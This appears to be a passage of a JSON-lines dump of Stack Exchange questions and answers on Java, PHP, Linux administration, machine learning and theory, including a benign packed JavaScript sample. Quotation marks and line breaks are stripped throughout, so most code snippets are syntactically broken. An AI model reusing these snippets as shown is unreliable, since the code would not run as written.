Servlet"  , "tags": "java;mysql;error handling;null;servlets"  , "accepted_answer": "What's even worse is all this:try {     throw new SomeException();} catch (SomeException uaee) {     response.sendRedirect(some-result.jsp);}It would be better to just doresponse.sendRedirect(some-result.jsp);Directly. There is really no need to throw an exception just to catch the same exception on the next line.if(hasDuplicateUsername) {    response.sendRedirect(register-result.jsp);} else if(hasDuplicateEmail) {    response.sendRedirect(register-result.jsp);} else if(!isEmailMatch) {    response.sendRedirect(register-result.jsp);} else if(!isPasswordMatch) {    response.sendRedirect(register-result.jsp);}As for the NullPointerException, I assume that it is one of these that are null:String userId = request.getParameter(username);String userFirstName = request.getParameter(firstname);String userLastName = request.getParameter(lastname);String userEmail1 = request.getParameter(email1);String userEmail2 = request.getParameter(email2);String userPassword1 = request.getParameter(pass1);String userPassword2 = request.getParameter(pass2);String captchaAnswer = request.getParameter(answer);The fix for this is easy, check if they are null before using them:if (userId == null || userFirstName == null || userLastName == null ||  userEmail1 == null || ...) {    response.sendRedirect(index.jsp);    return;}"  } 
{  "id": "_softwareengineering.258247"  , "question": "I'm integrating with a shipping API built in php. They have a strange coding standard where the comments are between the function name and the first curly bracket.. which - subjectively - makes the code really hard to read.Is this a particular, albeit non-standard, commenting standard?Here's an example of a such a functionpublic function qualityControlDescription($qcCode)/*Converts a Quality Control code (e.g. 'U') to a descriptive string.Input parameters (case-insensitive):    $qcCode = a Quality Control code, as returned by invokeWebServiceReturned:    Description string (e.g. 'UNSERVICEABLE'), or  if not found*/{    if (is_null($qcCode))    {        return ;    }    $descriptionMap = $this->qualityControlDescriptionMap();    $returnVal = $descriptionMap[strtoupper($qcCode)];    if (is_null($returnVal))    {        $returnVal = ;    }    return $returnVal;}"  , "title": "Is there a particular coding standard with comments between function name and body?"  , "tags": "php;coding standards;comments"  , "accepted_answer": "PHP code tends to use a block before the function:/** * Is the given array an associative array? */function isAssoc($arr) {    return array_keys($arr) !== range(0, count($arr) - 1);}I have seen much C, Java, JavaScript, Perl, and other code that uses a similar block-before-function style. However other languages (Python comes to mind most quickly) do use this between the definition and the code style. E.g.:def is_string(s):        Is the given value `s` a string type?        return isinstance(s, (str, unicode))There are a number of other conventions that tend to be language- and/or documentation-system specific for documenting the types, purposes, and default values for parameters and return types. So that style is idiosyncratic for the PHP community, but not out of bounds considering all common documentation styles.Here is more on the PHP DocBlock style."  } 
{  "id": "_unix.65194"  , "question": "Every networkmanager I've tried is incompatible with this version in gnome's settings panel. I can still connect from command line fine, but that's just kind of a pain.Solutions I have tried:pacman -Syu networkmanager installed everything fine, but didn't solve the problem.pacman -S gnome-extra installed everything fine, but didn't solve the problem.pacman -S gnome-network-manager: pacman says package not found (the package is outdated according to wiki)pacman -S network-manager-applet  installed everything fine, but didn't solve the problem.The arch wiki says network-manager-applet should suffice for gnome, but the GUI won't support it, which is inconvenient. Any help is appreciated."  , "title": "networkmanager with gnome 3.6.2 in Arch Linux"  , "tags": "arch linux;gnome;gnome3;networkmanager"  } 
{  "id": "_unix.237544"  , "question": "I have a RHEL 7 machine running an Apache web server with multiple virtual hosts on it. I've recently run into an issue where I am unable to upload media, e.g. images / pictures / video, to my machine for applications such as a blog (WordPress) and a forum (XenForo). I've tried to check out what's going on and I can't seem to figure it out.Both applications seem to share the same root problem. I've double-checked that the file permissions should be correct, yet I still run into the same errors.Case 1WordPress: ../wp-content/$ ls -Alhtotal 8.0K-rw-rw-r--. 1 jflory apache   28 Sep 26 09:50 index.phpdrwxrwxr-x. 5 jflory apache   84 Oct 20 15:42 pluginsdrwxrwxr-x. 7 jflory apache 4.0K Sep 26 12:07 themesdrwxr-xr-x. 2 jflory apache    6 Oct 20 15:42 upgradedrwxrwxr--. 3 jflory apache   17 Sep 26 11:40 uploadsimage.png has failed to upload due to an error The uploaded file  could not be moved to wp-content/uploads/2015/10.Case 2XenForo$ ls -Alh ../public_html/total 76Kdrwxrwxrwx.  7 jflory apache   96 Oct 11 20:19 datadrwxrwxrwx.  6 jflory apache 4.0K Jul 19 02:57 internal_dataThe following errors occurred while verifying that your server can run  XenForo:The directory /var/www/crystalcraftmc.com/public_html/data must be writable. Please change the permissions on this directory to be world  writable (chmod 0777). If the directory does not exist, please create  it.The directory /var/www/crystalcraftmc.com/public_html/internal_data must be  writable. Please change the permissions on this directory to be world  writable (chmod 0777). If the directory does not exist, please create  it.Please correct these errors and try again.I have double-checked that SELinux context is correct by running sudo restorecon -Rv /var/www/. This has worked in the past, but this time, it was not the solution. HOWEVER, I have tried disabling SELinux with sudo setenforce 0, restarted the Apache service, and this resolved the issue. It seems like SELinux is to blame, but I unsure as to why, and I don't wish to keep it disabled.I am completely lost about what the issue can be - none of this makes sense. If any further information is needed, please ask me for clarification."  , "title": "RHEL / SELinux - Apache unable to write to a directory it can write to"  , "tags": "files;permissions;rhel;apache httpd;selinux"  } 
{  "id": "_webmaster.24773"  , "question": "It seems my vbulletin forum is still having problems with unregistered guests spamming threads and members Inbox on the forum.  Do you have a solution for this?"  , "title": "How do I stop my vBulletin forum from having unregistered guests spamming it?"  , "tags": "spam;vbulletin"  } 
{  "id": "_codereview.145651"  , "question": "I had to do this exercise for a further education in which I'm currently enrolled in:Write a Java class Air Plane.Object-property names and types are given and compulsory. Write the according constructor and getter-, setter-method. Check within the constructor the given values for being valid.Moreover are the following methods to implement:infoloadfillUpflygetTotalWeightgetMaxReachFurther requirements concerning the implementation of the methods I have written into my code as comments.Here's my Plane-classpackage plane;public class Plane {    private double maxWeight;    private double emptyWeight;    private double loadWeight;    private double travelSpeed;    private double flyHours;    private double consumption;    private double maxFuel;    private double kerosinStorage;    public Plane( double maxWeight, double emptyWeight, double loadWeight,                  double travelSpeed, double flyHours, double consumption,                  double maxFuel, double kerosinStorage )    {        this.maxWeight      = maxWeight;        this.emptyWeight    = emptyWeight;        this.loadWeight     = loadWeight;        this.travelSpeed    = travelSpeed;        this.flyHours       = flyHours;        this.consumption    = consumption;        this.maxFuel        = maxFuel;        this.kerosinStorage = kerosinStorage < this.maxFuel                                ? kerosinStorage                                : this.maxFuel;    }    public double getMaxWeight()    {        return maxWeight;    }    public double getEmptyWeight()    {        return emptyWeight;    }    public double getLoadWeight()    {        return loadWeight;    }    public double getTravelSpeed()    {        return travelSpeed;    }    public double getFlyHours()    {        return flyHours;    }    public double getConsumption()    {        return consumption;    }    public double getMaxFuel()    {        return maxFuel;    }    public double getKerosinStorage()    {        return kerosinStorage;    }    public void setMaxWeight(double maxWeight)    {        this.maxWeight = maxWeight;    }    public void setEmptyWeight(double emptyWeight)    {        this.emptyWeight = emptyWeight;    }    public void setLoadWeight(double loadWeight)    {        this.loadWeight = loadWeight;    }    public void setTravelSpeed(double travelSpeed)    {        this.travelSpeed = travelSpeed;    }    public void setFlyHours(double flyHours)    {        this.flyHours = flyHours;    }    public void setConsumption(double consumption)    {        this.consumption = consumption;    }    public void setMaxFuel(double maxFuel)    {        this.maxFuel = maxFuel;    }    public void setKerosinStorage(double kerosinStorage)     {        this.kerosinStorage = this.kerosinStorage + kerosinStorage > maxFuel                ? maxFuel : this.kerosinStorage + kerosinStorage;    }    /*        Returns the total weight of the plane. Which is: emptyWeight +             weight of load + weight of kerosin.             Expect 1 liter Kerosin as 0.8 kg.            */    public double getTotalWeight ()     {        return emptyWeight + loadWeight                + (kerosinStorage * 0.8);    }    /*        How far can the plane fly with the current kerosin storage?            */    public double getMaxReach ()     {                return (kerosinStorage / consumption) * travelSpeed;    }    /*        Prevent flying further then possible (with the current kerosin) !    */    public boolean fly (double km)     {        if (km <= 0 || getMaxReach() < km || getTotalWeight() > maxWeight)        {            return false;        }         flyHours += (km / travelSpeed);        kerosinStorage -= (km / travelSpeed) * consumption;        return true;    }    /*        ! The parameter 'liter' can be a negative number.        Doesn't have to be overfilled.        Prevent a negative number as value of the 'kerosinStorage' property !    */    public void fillUp (double liter)     {         if ((kerosinStorage + liter) > maxFuel)        {            kerosinStorage = maxFuel;        }        else if ((kerosinStorage + liter) < 0)        {            kerosinStorage = 0;        }        else        {            kerosinStorage += liter;        }    }    /*        Prevent illogical value-assignments !    */    public boolean load (double kg)     {        if ((loadWeight + emptyWeight + kg) > maxWeight)        {            return false;        }        else if ((emptyWeight + kg) < 0)        {            loadWeight = 0;            return true;        }        else        {            loadWeight += kg;            return true;        }    }    // Display flying hours, kerosin storage & total weight on t. terminal.    public void info ()     {        System.out.println(Flying hours:  + flyHours + , Kerosin:                 + kerosinStorage + , Weight:  + getTotalWeight());    }}And my Plane-test class:package plane;public class TestPlane{    public static void main (String[] args) {        Plane jet = new Plane( 70000, 35000, 10000,                               800, 500, 2500, 25000, 8000);        jet.info();        jet.setKerosinStorage(1000);               System.out.println(jet.getKerosinStorage());        System.out.println(jet.getTotalWeight());        System.out.println(Maximal reach:  + jet.getMaxReach());        System.out.println(Fly hours 1:  + jet.getFlyHours());               jet.fly(5000);               System.out.println(Fly hours 1:  + jet.getFlyHours());            jet.load(10000);                jet.info();           }}They let automated tests run upon the code. It passed that test but I'm still not sure about it.So therefore:I would appreciate your comments and hints concerning my implementation of the described task. "  , "title": "Java beginner exercise : Write a class Air Plane"  , "tags": "java;beginner;object oriented"  , "accepted_answer": "Builder patternConsider the builder pattern. As I started to pass in arguments to the constructor, it was hard to keep the semantics right.The builder pattern helps the developer toabstract from argument input orderhandle a lot of constructor argumentsabstract from default values that make sensemake arguments optional and therefore avoid telescope constructorsThe builder pattern has only one assertion: It doesn't matter how many arguments you passed in, it will always build a consistent object.Avoid multiple return-statementsReturn-statements are structural identical to goto-statements although they are a formalized version. What all goto-alike-statements (return, continue, break) hav in common: They are not refactoring-stable. They hinder you to apply reforings like extract method. If you have to insert a new case in an algorithm that uses break, continue and return-statements you may have to overthink the whole algorithm so that your change will not break it.Avoid inexpressive return valuesYou may see return values like true/false to indicate something has been processed well or not. These return values may be sufficient for trivial cases in trivial environments where less exceptional cases occur.In complex environment a method execution may fail due to several reasons. A connection to the server was lost, an inconsistency on the database-side was recognized, the execution failed because of security reasons... to name only the tip of the iceberg. There modern languages introduce a concept for exceptional cases: Exceptions.E.g. you have following signature:public boolean load (double kg)Beside you have mixed two concerns in one method (load/unload) that you treat differently (overload will not be allowed, unload will be corrected) you also try to publish success information via return value.I suggest to not publish true or false. I suggest to have either no return value or the new value of the loadWeight. Exceptional cases I would handle with the concepts of exceptions. I would expect a signature like this:public double load (double kg) throws OverloadedExceptionThe OverloadedException may not be signature relevant (RuntimeException) but it expresses the intention of the method.Beside that I would split responsibilities and introduce a method:public double unload (double kg)Avoid commentsIf you want to make comments it is an indicator for that your code itself may not be clear enough. I intentionally said avoid comments but not do not comment anything. First think about the things that will be compiled and run to be as clear as possible. Then if you think it's neccessary to comment then comment. Comments have to be maintained separately. They are uncompiled code and cannot be be put under test. So they may lie if they diverge from your code semantics.E.g. you have following signature:public void fillUp (double liter)In your comment you mentioned that liter may be negative. This is an allowed value but your method signature says fillUp. So one of them is lying. You now have two possibilities:Think about a name, that abstracts from draining or filling up fuel (adjust?) so it is clear that you may have  a negative argument or ...... separate the concerns (draining, filling up) into separate methods to match SRP.The best comment for a procedure, function, method is a set of tests that show the usage of it so other developers can see, how your code will work in different situations. Instead of testing your object in a main-scope I suggest to make ...Unit TestsFollowing the suggestions you can do expressive unit tests:public class TestPlane {    /**     * A plane's fuel can be filled up.     */    @Test    public void fillUpNormal() {        Plane plane = new PlaneBuilder().setMaxFuel(2000).setInitialKerosinStorage(1700).build();        Assert.assertEquals(1800, plane.fillUp(100));    }    /**     * A plane cannot be filled up beyond max fuel.     */    @Test    public void fillUpOverfilled() {        Plane plane = new PlaneBuilder().setMaxFuel(2000).setInitialKerosinStorage(1700).build();        try {            plane.fillUp(400);            Assert.fail();        } catch (OverfilledException e) {            Assert.assertEquals(100, e.getOverfilledBy());        }    }}You should decide which coverage you want to aim. I prefer condition coverage over statement coverage because it forces you to keep your methods small. Methods under condtion coverage have at least 2^condition_elements of test cases. If you have long methods with several conditions your test case count may explode.As you see in the test cases, I have comments. They describe the business rules you want to enforce."  } 
{  "id": "_softwareengineering.311635"  , "question": "We are developing a website for students on which they first have to fulfill specific tasks in order to use our service. The problem is, that those tasks are on another website, which has nothing to do with ours and is currently placed in an iframe on our page. One mentionable thing is, that after the user finished the task (on the other website), a new site opens up, which says, that he has finished.So our question would be: Is it possible to get a verification from the other website, that the user has fullilled the task? First we thought of reading out the specific span class name from the page on which the user lands last. The problem here is the same origin policy. Do you know a better way to solve this or a save and legal way around that policy? Thanks for your help! Ps: I am a Bachelor's student in Informatics so I'm still learning, if there are some logical mistakes at my qestion. (: "  , "title": "Best way to verify that a user has completed a task on another website."  , "tags": "javascript;verification;dom;tracking"  } 
{  "id": "_cs.14333"  , "question": "Given languages X, Y and Z, each with alphabet, define X/Y/Z  as:     X/Y/Z = { w  * | u  Y and v  Z; such that wuv  X }.Prove that if X is context-free, and Y and Z are regular, then X/Y/Zis context-free."  , "title": "Prove that X/Y/Z is context-free"  , "tags": "formal languages;regular languages;context free"  } 
{  "id": "_codereview.25059"  , "question": "I have some code that allows me to enumerate over months in a year.  This code is used both in a Web application as well as a standalone exe.  Although it doesn't have to be efficient it is used a lot so if there are any improvements that would be great (I haven't done any profiling).  It also needs to be thread-safe.public enum MonthEnum{    Undefined, // Required here even though it's not a valid month    January,    February,    March,    April,    May,    June,    July,    August,    September,    October,    November,    December}public static class MonthEnumEnumerator{    private static readonly ReadOnlyCollection<MonthEnum> MonthsInYear = CreateYear();    private static readonly ReadOnlyCollection<MonthEnum> ReversedMonthsInYear = CreateYear(janToDec: false);    private static ReadOnlyCollection<MonthEnum> CreateYear(bool janToDec = true)    {        var months = new List<MonthEnum>();        for (int i = 1; i <= 12; i++)            months.Add((MonthEnum)i);        return new ReadOnlyCollection<MonthEnum>(janToDec ? months : months.OrderByDescending(p => (int)p).ToList());    }    /// <summary>    /// Returns an array of MonthEnums without the MonthEnum.Undefined value    /// </summary>    /// <returns></returns>    public static IEnumerable<MonthEnum> GetValues()    {        return MonthsInYear;    }    /// <summary>    /// Returns an array of Months starting from December to January not including the Undefined value    /// </summary>    public static IEnumerable<MonthEnum> GetValuesReversed()    {        return ReversedMonthsInYear;    }    /// <summary>    /// Gets a list of months in range of start and end.  For example with a start month of Feb and end of April this function    /// would return Feb, March, April.  If the start month was Nov and end Month Feb it would return Nov, Dec, Jan, Feb.    /// </summary>    /// <param name=start>Start of month range to return</param>    /// <param name=end>End of month range to return</param>    /// <returns>Array of months in order from start to end</returns>    public static IEnumerable<MonthEnum> GetInRange(MonthEnum start, MonthEnum end)    {        var range = new List<MonthEnum>();        if(start <= end)        {            // simple start to end of months with no december rollover                            for(MonthEnum month = start; month <= end; month++)                range.Add(month);        }        else        {            //  end month wraps around december i.e. Nov - Feb            for (MonthEnum month = start; month <= MonthEnum.December; month++)                range.Add(month);            // now jan - end month            for (MonthEnum month = MonthEnum.January; month <= end; month++)                range.Add(month);        }        return new ReadOnlyCollection<MonthEnum>(range);    }    public static IEnumerable<MonthEnum> GetInRange(MonthEnum start)    {        return GetInRange(start, start.Previous());    }    public static MonthEnum Next(this MonthEnum month)    {        return month == MonthEnum.December ? MonthEnum.January : month + 1;    }    public static MonthEnum Previous(this MonthEnum month)    {        return month == MonthEnum.January ? MonthEnum.December : month - 1;    }    public static MonthEnum Subtract(this MonthEnum month, int months)    {        MonthEnum subtracted = month;        while ((months--) > 0)            subtracted = subtracted.Previous();        return subtracted;    }    public static MonthEnum Add(this MonthEnum month, int months)    {        MonthEnum added = month;        while ((months--) > 0)            added = added.Next();        return added;    }}I use it like so:foreach (var month in MonthEnumEnumerator.GetValues()){    // do stuff that is month related}or// for getting the months from July to Decemberforeach (var month in MonthEnumEnumerator.GetInRange(MonthEnum.July, MonthEnum.December)){   // do something}or if I want to get the previous month to what I'm on I can dovar previousMonth = currentMonth.Previous();UPDATE:I updated my answer after comments/answers below. "  , "title": "Enumerating over a enum that defines months in the year"  , "tags": "c#"  , "accepted_answer": "It took me a while to figure out what the purpose of janToDec was. Given that you're using Linq, I can't see any reason not to just implement ReversedMonthsInYear asprivate static readonly IEnumerable<MonthEnum> ReversedMonthsInYear = MonthsInYear.Reverse();IMO that's a lot easier on the maintenance programmer.But then CreateYear without the parameter is simply duplicating code, and you can eliminate it in favour ofprivate static readonly IEnumerable<MonthEnum> MonthsInYear = GetInRange(MonthEnum.January, MonthEnum.December);Since you're not afraid to use arithmetic on your enum, you can make Subtract and Add a bit less loopy.public static MonthEnum Subtract(this MonthEnum month, int months){    if (months < 0) throw new ArgumentOutOfRangeException(months, months must be non-negative);    MonthEnum subtracted = month - (months % 12);    if (subtracted < MonthEnum.January) subtracted += 12;    return subtracted;}and similarly."  } 
{  "id": "_datascience.9769"  , "question": "Suppose you have an input layer with n neurons and the first hidden layer has $m$ neurons, with typically $m < n$. Then you compute the actication $a_j$ of the $j$-th neuron in the hidden layer by $a_j =  f\\left(\\sum\\limits_{i=1..n} w_{i,j} x_i+b_j\\right)$, where $f$ is an activation function like $\\tanh$ or $\\text{sigmoid}$. To train the network, you compute the reconstruction of the input, denoted $z$, and minimize the error between $z$ and $x$. Now, the $i$-th element in $z$ is typically computed as:$z_i = f\\left ( \\sum\\limits_{j=1..m}  w_{j,i}' a_j+b'_i \\right)$I am wondering why are the reconstructed $z$ are usually computed with the same activation function instead of using the inverse function, and why separate $w'$ and $b'$ are useful instead of using tied weights and biases? It seems much more intuitive to me to compute the reconstructed with the inverse activation function $f^{-1}$, e.g., $\\text{arctanh}$, as follows:$$z_i' = \\sum\\limits_{j=1..m} \\frac{f^{-1}(a_j)-b_j}{w_{j,i}^T}$$Note, that here tied weights are used, i.e., $w' = w^T$, and the biases $b_j$ of the hidden layer are used, instead of introducing an additional set of biases for the input layer. And a very related question: To visualize features, instead of computing the reconstruction, one would usually create an identity matrix with the dimension of the hidden layer. Then, one would use each column of the matrix as input to a reactivation function, which induces an output in the input neurons. For the reactivation function, would it be better to use the same activation function (resp. the $z_i$) or the inverse function (resp. the $z'_i$)?"  , "title": "Why is Reconstruction in Autoencoders Using the Same Activation Function as Forward Activation, and not the Inverse?"  , "tags": "machine learning;visualization;deep learning;autoencoder"  } 
{  "id": "_cstheory.4816"  , "question": "This question is inspired by a similar question about applied mathematics on mathoverflow, and that nagging thought that important questions of TCS such as P vs. NP might be independent of ZFC (or other systems). As a little background, reverse mathematics is the project of finding the axioms necessary to prove certain important theorems. In other words, we start at a set of theorems we expect to be true and try to derive the minimal set of 'natural' axioms that make them so. I was wondering if the reverse mathematics approach has been applied to any important theorems of TCS. In particular to complexity theory. With deadlock on many open questions in TCS it seems natural to ask what axioms have we not tried using?. Alternatively, have any important questions in TCS been shown to be independent of certain simple subsystems of second-order arithmetic?"  , "title": "Axioms necessary for theoretical computer science"  , "tags": "cc.complexity theory;lo.logic;proof complexity"  , "accepted_answer": "Yes, the topic has been studied in proof complexity. It is called Bounded Reverse Mathematics. You can find a table containing some reverse mathematics results on page 8 of Cook and Nguyen's book, Logical Foundations of Proof Complexity,  2010. Some of Steve Cook's previous students have worked on similar topics, e.g. Nguyen's thesis, Bounded Reverse Mathematics, University of Toronto, 2008.Alexander Razborov (also other proof complexity theorists) has some results on the weak theories needed to formalize the circuit complexity techniques and prove circuit complexity lowerbounds. He obtains some unprovability results for weak theories, but the theories are considered too weak.All of these results are provable in $RCA_0$ (Simpson's base theory for Reverse Mathematics), so AFAIK we don't have independence results from strong theories (and in fact such independence results would have strong consequences as Neel has mentioned, see Ben-David's work (and related results) on independence of $\\mathbf{P} vs. \\mathbf{NP}$ from $PA_1$ where $PA_1$ is an extension of $PA$)."  } 
{  "id": "_webapps.58876"  , "question": "I use Soundcloud to add  a preview for an MP3 on a Facebook post:How can I add a preview for an MP3 on a Facebook post without Soundcloud so that the user doesn't have to open a new tab to listen to the MP3?"  , "title": "How can I add a preview for an MP3 on a Facebook post without Soundcloud?"  , "tags": "facebook;music"  , "accepted_answer": "Facebook has removed this feature since then: it is not possible anymore to preview an MP3 without Soundcloud."  } 
{  "id": "_reverseengineering.2103"  , "question": "According to the techy zilla blogIt will be much harder to deobfuscate code that has been obfuscated using multiple obfuscating algorithms. According to them, jsbeautifier can't fix this obfuscated code. Can you find another way to deobfuscate this type of obfuscation? If not, what is the closest you can get?var _0x2815=[\\x33\\x20\\x31\\x28\\x29\\x7B\\x32\\x20\\x30\\x3D\\x35\\x3B\\x34\\x20\\x30\\x7D,\\x7C,\\x73\\x70\\x6C\\x69\\x74,\\x78\\x7C\\x6D\\x79\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x7C\\x76\\x61\\x72\\x7C\\x66\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x7C\\x72\\x65\\x74\\x75\\x72\\x6E\\x7C,\\x72\\x65\\x70\\x6C\\x61\\x63\\x65,,\\x5C\\x77\\x2B,\\x5C\\x62,\\x67];eval(function (_0xf81fx1,_0xf81fx2,_0xf81fx3,_0xf81fx4,_0xf81fx5,_0xf81fx6){_0xf81fx5=function (_0xf81fx3){return _0xf81fx3;} ;if(!_0x2815[5][_0x2815[4]](/^/,String)){while(_0xf81fx3--){_0xf81fx6[_0xf81fx3]=_0xf81fx4[_0xf81fx3]||_0xf81fx3;} ;_0xf81fx4=[function (_0xf81fx5){return _0xf81fx6[_0xf81fx5];} ];_0xf81fx5=function (){return _0x2815[6];} ;_0xf81fx3=1;} ;while(_0xf81fx3--){if(_0xf81fx4[_0xf81fx3]){_0xf81fx1=_0xf81fx1[_0x2815[4]]( new RegExp(_0x2815[7]+_0xf81fx5(_0xf81fx3)+_0x2815[7],_0x2815[8]),_0xf81fx4[_0xf81fx3]);} ;} ;return _0xf81fx1;} (_0x2815[0],6,6,_0x2815[3][_0x2815[2]](_0x2815[1]),0,{}));"  , "title": "Try to deobfuscate multi layered javascript"  , "tags": "obfuscation;javascript;deobfuscation"  } 
{  "id": "_webmaster.60252"  , "question": "So I got hit by Panda/Penguin before two years. My site was completely white-hat, and it was wallpaper related site. Such type of sites have no much text, but I have tried to describe every wallpaper with 100 words (again nothing spammy).For this two years, nothing has changed, I update content every second day, some backlinks I removed etc etc.So I start to think to buy new domain and start over. But what should I do with old wallpaper/content. People love them, share, like etc.. Would it be wise to I 301 redirect everything from old to new domain? What would be your recommendation?"  , "title": "Can't recover from Panda/Penguin/Zoo? Think to start a new site"  , "tags": "seo;search engines;google search;google panda algorithm;google penguin algorithm"  } 
{  "id": "_unix.185708"  , "question": "I have a directory (/var/www/dental-atelier.ch/) that I would like to make accessible in two different ways.As a normal web page<VirtualHost 78.47.122.114:80>     ServerAdmin webmaster@dental-atelier.ch     DocumentRoot /var/www/dental-atelier.ch     <Location />        Options +Includes     </Location>     ServerName dental-atelier.ch     ServerAlias dental-atelier.ch www.dental-atelier.ch     ErrorLog logs/dental-atelier.ch-error_log     CustomLog logs/dental-atelier.ch-access_log combined </VirtualHost> and once with WebDav (but this time with SSL)<VirtualHost _default_:443>    DocumentRoot /var/www/html    # Use separate log files for the SSL virtual host; note that LogLevel    # is not inherited from httpd.conf.    ErrorLog logs/ssl_error_log    TransferLog logs/ssl_access_log    LogLevel warn    <Directory /var/www/html>        Options +Includes    </Directory>    Alias /webdav /var/www/webdav    <Directory /var/www/webdav/dental-atelier.ch/>         AuthType Basic         AuthName Password Required         AuthUserFile /etc/shadow         Require user user         DAV On         Options Indexes FollowSymLinks     </Directory> </VirtualHost>This was working without any problem with httpd 2.2.After upgrading to 2.4 httpd is not allowing both settings for the same directory. The first one works alone (with the the first vhost) and the second one alone with the second one.If I configure both, I get$ cadaver https://78.47.122.114/webdav/dental-atelier.chWARNING: Untrusted server certificate presented for `ip1.corti.li':Certificate was issued to hostname `ip1.corti.li' rather than `78.47.122.114'This connection could have been intercepted.Issued to: ip1.corti.liIssued by: http://www.CAcert.org, CAcert Inc.Certificate is valid from Thu, 10 Apr 2014 10:43:34 GMT to Sat, 09 Apr 2016 10:43:34 GMTDo you wish to accept the certificate? (y/n) yAuthentication required for Password Required on server `78.47.122.114':Username: userPassword: Could not access /webdav/dental-atelier.ch/ (not WebDAV-enabled?):405 Method Not AllowedConnection to `78.47.122.114' closed.dav:!> Any Idea on how to make an HTTP-shared directory also available via WebDAV (for editing)?The SSL virtual host logs show errors about the Includes directive which is specified in the non-SSL virtual host (port 80):ssl_access_log:129.132.179.107 - - [19/Feb/2015:15:40:29 +0100] OPTIONS /webdav/dental-atelier.ch/ HTTP/1.1 401 381129.132.179.107 - user [19/Feb/2015:15:40:34 +0100] OPTIONS /webdav/dental-atelier.ch/ HTTP/1.1 200 -129.132.179.107 - user [19/Feb/2015:15:40:34 +0100] PROPFIND /webdav/dental-atelier.ch/ HTTP/1.1 405 261ssl_error_log:[Thu Feb 19 15:40:34.556872 2015] [include:warn] [pid 29499] [client 129.132.179.107:65259] AH01374: mod_include: Options +Includes (or IncludesNoExec) wasn't set, INCLUDES filter removed: /webdav/dental-atelier.ch/index.html[Thu Feb 19 15:40:34.557949 2015] [include:warn] [pid 29499] [client 129.132.179.107:65259] AH01374: mod_include: Options +Includes (or IncludesNoExec) wasn't set, INCLUDES filter removed: /webdav/dental-atelier.ch/index.htmlEditThe issue is really related to having the same directory used differently in two different virtual hosts. If I copy the very same directory to /var/www/webdav/test and configure the SSL virtual host with the test directory everything works like a charm.The same apply if I remove the HTTP virtual host for the same directory.If I have the same data in both then somehow Apache httpd detects it. It was not like that in 2.2."  , "title": "Apache httpd, WebDAV and multiple settings"  , "tags": "apache httpd;webdav"  , "accepted_answer": "Actually the problem was something different: the directory contains an index.html file and Apache httpd was automatically delivering it.SettingDirectoryIndex disabled solved the problem."  } 
{  "id": "_softwareengineering.13746"  , "question": "I keep coming across this term hooks in various programming articles. However I don't understand what they are, and how can they be used. So I just wanted to know what is the concept of hooks; if someone could link me to some examples, particularly in the context of web development, it would be great."  , "title": "What are hooks?"  , "tags": "web development;python"  , "accepted_answer": "My answer pertains to WordPress which is written in PHP, but this is a general development mechanic so it shouldn't really matter, despite the fact that you put 'python' in your question title.One good example of usage of hooks, coincidentally in web development, are WordPress' hooks.They are named appropriately in that they allow a way to 'hook into' certain points of the execution of a program.So for example, the wp_head is an 'action' that is emitted when a WordPress theme is being rendered and it's at the part where it renders the part that's within the <head> tags. Say that you want to write a plugin that requires an additional stylesheet, script, or something that would normally go within those tags. You can 'hook into' this action by defining a function to be called when this action is emitted. Something like:add_action('wp_head', 'your_function');your_function() could be something as simple as:function your_function() {    echo '<link rel=stylesheet type=text/css href=lol.css />';}Now, when WordPress emits this action by doing something like do_action('wp_head');, it will see that your_function() was 'hooked into' that action, so it will call that function (and pass it any arguments if it takes any, as defined in the documentation for any particular hook).Long story short: It allows you to add additional functionality at specific points of the execution of a program by 'hooking into' those points, in most cases by assigning a function callback."  } 
{  "id": "_datascience.22387"  , "question": "These two convolution operations are very common in deep learning right now. I read about dilated convolutional layer in this paper : WAVENET: A GENERATIVE MODEL FOR RAW AUDIODeconvolution is in this paper : Fully Convolutional Networks for Semantic SegmentationBoth seems to up-sample the image but what is thedifference ? "  , "title": "What is the difference between Dilated Convolution and Deconvolution?"  , "tags": "machine learning;deep learning;convnet;computer vision;convolution"  } 
{  "id": "_unix.164600"  , "question": "I am trying to migrate mails from a server to a new server using OfflineIMAP.My config looks like:[general]accounts = TestAccountui = noninteractive.Basic[Account TestAccount]localrepository = TestAccountSourceremoterepository = TestAccountDestinationmaxsyncaccounts = 3maxconnections = 3[Repository TestAccountSource]type = IMAPremotehost = localhostremoteuser = test@example.comremotepass = password[Repository TestAccountDestination]type = IMAPremotehost = new.machine.comremoteuser = test@example.comremotepass = passwordssl = yesWhen I run this on the old server the syncing starts and mails are being copied. However directories are not being copied to the new machine:offlineimap -c /path/to/my/configThe original directory looks like:ChatsContactscourierimapkeywordscourierimapsubscribedcourierimapuiddbcurDraftsEmailed ContactsINBOXJunknewNotesSenttmp.Subdir.Subdir.SubSubdir1.Subdir.SubSubdir2.Subdir.SubSubdir3.Subdir.SubSubdir4All mails in the inbox are correctly synced, but the directory .SubDir (including subdirs of this) never end up on the new mailserver.P.S. Old mailserver uses courier, new mailserver uses Zimbra."  , "title": "Migrating mail to a new server using OfflineIMAP - dot folders not copied"  , "tags": "imap;migration;offlineimap"  } 
{  "id": "_unix.339712"  , "question": "Basically I have below scenario e.g.grep 'test: \\K(\\d+)' $file => 15grep 'test1: \\K(\\d+)' $file => 20Is there any way to store result of both commands into a variable like with comma as separator,Test=grep 'test: \\K(\\d+)' $file;grep 'test1: \\K(\\d+)' $fileAnswer=eval $TestExpected output: 15,20?"  , "title": "Combine multiple grep outputs in a variable"  , "tags": "bash;shell script;grep;variable"  } 
{  "id": "_unix.116434"  , "question": "I first posted this in February, but I'm making the problem clearer because I had no responses in 6 months, and the problem still exists.My Arch boots to the terminal. I login as root.  I start Cinnamon and everything is fine.  I logout of root while in Cinnamon, and I'm returned to the terminal.  I login then under my own user account.  I start cinnamon and I get a black screen with a mouse pointer that I can move.  I can't get out of this and it requires a shutdown.  This problem is reproducable.After booting up again, I login under my normal user account and it works, but the wallpaper has changed to some basic, default image.What is happening and how can I fix this?"  , "title": "Arch Linux problem: What is causing the black screen problem when logging into Cinnamon?"  , "tags": "linux;arch linux;login;desktop environment;cinnamon"  } 
